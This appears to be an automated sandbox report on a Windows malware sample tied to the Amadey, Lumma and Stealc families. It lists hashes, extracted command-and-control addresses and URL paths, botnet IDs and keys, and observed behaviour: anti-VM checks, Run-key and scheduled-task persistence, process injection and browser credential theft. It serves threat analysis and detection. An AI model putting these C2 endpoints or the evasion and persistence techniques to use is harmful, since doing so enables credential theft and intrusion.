amadey | 2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc

Analysis

max time kernel
62s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03-12-2024 08:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
Size

1.8MB
MD5

7f0a76732977427371079aac4e055a2e
SHA1

c799adbb85ecde3ed6c2cb17c77ee989d73cc9d6
SHA256

2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc
SHA512

88ed5cac47d9765cde1e83e489e4f7707176fb167318343e8c58611d4fd315de77125866d79a63ef5400f8a0b51048a0ce77298874bf1b62c3bc34f110761b05
SSDEEP

49152:SRom2bAxlKp9HksGRtTvd/oheTzY0/oWnWNm4jDAATj:iom2WlKppG3vt5o4D4jDj

Score

10^/10

amadey lumma stealc 9c9aa5 default_valenciga drum fed3aa credential_access discovery evasion execution persistence spyware stealer trojan

Malware Config

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

http://185.215.113.43

Attributes

install_dir
abc3bc1985
install_file
skotes.exe
strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
url_paths
/Zu7JuNko/index.php

rc4.plain

Extracted

Family

amadey

Version

4.41

Botnet

fed3aa

http://185.215.113.16

Attributes

install_dir
44111dbc49
install_file
axplong.exe
strings_key
8d0ad6945b1a30a186ec2d30be6db0b5
url_paths
/Jo89Ku7d/index.php

rc4.plain

Extracted

Family

stealc

Botnet

default_valenciga

http://185.215.113.17

Attributes

url_path
/2fb6c2cc8dce150a.php

Extracted

Family

lumma

https://drive-connect.cyou

https://crib-endanger.sbs

https://faintbl0w.sbs

https://300snails.sbs

https://bored-light.sbs

https://3xc1aimbl0w.sbs

https://pull-trucker.sbs

https://fleez-inc.sbs

https://thicktoys.sbs

Extracted

Family

stealc

Botnet

drum

http://185.215.113.206

Attributes

url_path
/c4becf79229cb002.php

Extracted

Family

lumma

https://drive-connect.cyou/api

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 3264 created 2588	3264	rhnew.exe	44
PID 4820 created 2588	4820	nSoft.exe	44

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 12 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rhnew.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	9c5cce1046.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d98af20803.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ab38ce8c6d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	32c9793fe6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4be2d176fd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5215176b95.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	nSoft.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
121	4468	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6364	powershell.exe
4592	powershell.exe
4640	powershell.exe
8128	powershell.exe
3068	powershell.exe
760	powershell.exe
4840	powershell.exe
6036	powershell.exe
6688	powershell.exe
7072	powershell.exe
3792	powershell.exe
4568	powershell.exe
6828	powershell.exe
2980	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 24 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rhnew.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4be2d176fd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5215176b95.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d98af20803.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ab38ce8c6d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ab38ce8c6d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	32c9793fe6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rhnew.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9c5cce1046.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	9c5cce1046.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	nSoft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d98af20803.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5215176b95.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	32c9793fe6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4be2d176fd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	nSoft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	9c5cce1046.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	axplong.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	AllNew.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	am209.exe

Executes dropped EXE 25 IoCs

pid	Process
4972	skotes.exe
3944	skotes.exe
624	tpZOod0.exe
4592	DU1zDwm.exe
4572	stories.exe
4688	stories.tmp
4916	videojet.exe
3264	rhnew.exe
1856	9c5cce1046.exe
1924	axplong.exe
4512	stealc_default2.exe
1068	5215176b95.exe
3828	alex2022.exe
1288	alex2022.exe
4592	d98af20803.exe
5092	AllNew.exe
3816	Gxtuum.exe
4276	ab38ce8c6d.exe
744	32c9793fe6.exe
2784	trru7rd2.exe
2132	c739291890.exe
3684	am209.exe
2900	defnur.exe
4820	nSoft.exe
2344	4be2d176fd.exe

Identifies Wine through registry keys 2 TTPs 11 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Wine	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Wine	rhnew.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Wine	9c5cce1046.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Wine	d98af20803.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Wine	ab38ce8c6d.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Wine	5215176b95.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Wine	32c9793fe6.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Wine	4be2d176fd.exe

Loads dropped DLL 5 IoCs

pid	Process
624	tpZOod0.exe
4688	stories.tmp
4916	videojet.exe
4512	stealc_default2.exe
4512	stealc_default2.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ab38ce8c6d.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1011569001\\ab38ce8c6d.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\32c9793fe6.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1011570001\\32c9793fe6.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c739291890.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1011571001\\c739291890.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4be2d176fd.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1011572001\\4be2d176fd.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	nSoft.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
122	raw.githubusercontent.com
124	raw.githubusercontent.com

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
1216	cmd.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000e000000023b95-667.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs

pid	Process
4712	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
4972	skotes.exe
3944	skotes.exe
3264	rhnew.exe
1856	9c5cce1046.exe
1924	axplong.exe
1068	5215176b95.exe
4592	d98af20803.exe
4276	ab38ce8c6d.exe
744	32c9793fe6.exe
4820	nSoft.exe
2344	4be2d176fd.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3828 set thread context of 1288	3828	alex2022.exe	132

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
File created	C:\Windows\Tasks\axplong.job	9c5cce1046.exe
File created	C:\Windows\Tasks\Gxtuum.job	AllNew.exe
File created	C:\Windows\Tasks\defnur.job	am209.exe

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral2/files/0x0007000000023d28-652.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
4964	624	WerFault.exe	88
744	3264	WerFault.exe	118
2544	4276	WerFault.exe	141
4016	2388	WerFault.exe	221

System Location Discovery: System Language Discovery 1 TTPs 49 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	c739291890.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stories.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	32c9793fe6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alex2022.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trru7rd2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stealc_default2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5215176b95.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	c739291890.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alex2022.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	defnur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nSoft.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9c5cce1046.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axplong.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AllNew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c739291890.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4be2d176fd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tpZOod0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stories.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ab38ce8c6d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	am209.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d98af20803.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1960	powershell.exe
1616	PING.EXE
5908	powershell.exe
652	PING.EXE
4784	powershell.exe
7276	PING.EXE

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	stealc_default2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	stealc_default2.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
3792	taskkill.exe
2284	taskkill.exe
1472	taskkill.exe
4116	taskkill.exe
4544	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	firefox.exe

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
1616	PING.EXE
652	PING.EXE
7276	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1636	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4712	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
4712	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
4972	skotes.exe
4972	skotes.exe
3944	skotes.exe
3944	skotes.exe
1960	powershell.exe
1960	powershell.exe
4688	stories.tmp
4688	stories.tmp
4448	powershell.exe
4448	powershell.exe
4592	powershell.exe
4592	powershell.exe
3264	rhnew.exe
3264	rhnew.exe
3264	rhnew.exe
3264	rhnew.exe
3264	rhnew.exe
3264	rhnew.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
1856	9c5cce1046.exe
1856	9c5cce1046.exe
3792	powershell.exe
3792	powershell.exe
3792	powershell.exe
1924	axplong.exe
1924	axplong.exe
1068	5215176b95.exe
1068	5215176b95.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4608	powershell.exe
4608	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4512	stealc_default2.exe
4512	stealc_default2.exe
4608	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4592	d98af20803.exe
4592	d98af20803.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeIncreaseQuotaPrivilege	4608	powershell.exe
Token: SeSecurityPrivilege	4608	powershell.exe
Token: SeTakeOwnershipPrivilege	4608	powershell.exe
Token: SeLoadDriverPrivilege	4608	powershell.exe
Token: SeSystemProfilePrivilege	4608	powershell.exe
Token: SeSystemtimePrivilege	4608	powershell.exe
Token: SeProfSingleProcessPrivilege	4608	powershell.exe
Token: SeIncBasePriorityPrivilege	4608	powershell.exe
Token: SeCreatePagefilePrivilege	4608	powershell.exe
Token: SeBackupPrivilege	4608	powershell.exe
Token: SeRestorePrivilege	4608	powershell.exe
Token: SeShutdownPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeSystemEnvironmentPrivilege	4608	powershell.exe
Token: SeRemoteShutdownPrivilege	4608	powershell.exe
Token: SeUndockPrivilege	4608	powershell.exe
Token: SeManageVolumePrivilege	4608	powershell.exe
Token: 33	4608	powershell.exe
Token: 34	4608	powershell.exe
Token: 35	4608	powershell.exe
Token: 36	4608	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeIncreaseQuotaPrivilege	3068	powershell.exe
Token: SeSecurityPrivilege	3068	powershell.exe
Token: SeTakeOwnershipPrivilege	3068	powershell.exe
Token: SeLoadDriverPrivilege	3068	powershell.exe
Token: SeSystemProfilePrivilege	3068	powershell.exe
Token: SeSystemtimePrivilege	3068	powershell.exe
Token: SeProfSingleProcessPrivilege	3068	powershell.exe
Token: SeIncBasePriorityPrivilege	3068	powershell.exe
Token: SeCreatePagefilePrivilege	3068	powershell.exe
Token: SeBackupPrivilege	3068	powershell.exe
Token: SeRestorePrivilege	3068	powershell.exe
Token: SeShutdownPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeSystemEnvironmentPrivilege	3068	powershell.exe
Token: SeRemoteShutdownPrivilege	3068	powershell.exe
Token: SeUndockPrivilege	3068	powershell.exe
Token: SeManageVolumePrivilege	3068	powershell.exe
Token: 33	3068	powershell.exe
Token: 34	3068	powershell.exe
Token: 35	3068	powershell.exe
Token: 36	3068	powershell.exe
Token: SeIncreaseQuotaPrivilege	3068	powershell.exe
Token: SeSecurityPrivilege	3068	powershell.exe
Token: SeTakeOwnershipPrivilege	3068	powershell.exe
Token: SeLoadDriverPrivilege	3068	powershell.exe
Token: SeSystemProfilePrivilege	3068	powershell.exe
Token: SeSystemtimePrivilege	3068	powershell.exe
Token: SeProfSingleProcessPrivilege	3068	powershell.exe
Token: SeIncBasePriorityPrivilege	3068	powershell.exe
Token: SeCreatePagefilePrivilege	3068	powershell.exe
Token: SeBackupPrivilege	3068	powershell.exe
Token: SeRestorePrivilege	3068	powershell.exe
Token: SeShutdownPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeSystemEnvironmentPrivilege	3068	powershell.exe
Token: SeRemoteShutdownPrivilege	3068	powershell.exe
Token: SeUndockPrivilege	3068	powershell.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
4712	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
4688	stories.tmp
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
2132	c739291890.exe
2132	c739291890.exe

Suspicious use of SendNotifyMessage 33 IoCs

pid	Process
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
2132	c739291890.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
3680	firefox.exe
2132	c739291890.exe
2132	c739291890.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3680	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4712 wrote to memory of 4972	4712	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe	82
PID 4712 wrote to memory of 4972	4712	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe	82
PID 4712 wrote to memory of 4972	4712	2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe	82
PID 4972 wrote to memory of 624	4972	skotes.exe	88
PID 4972 wrote to memory of 624	4972	skotes.exe	88
PID 4972 wrote to memory of 624	4972	skotes.exe	88
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
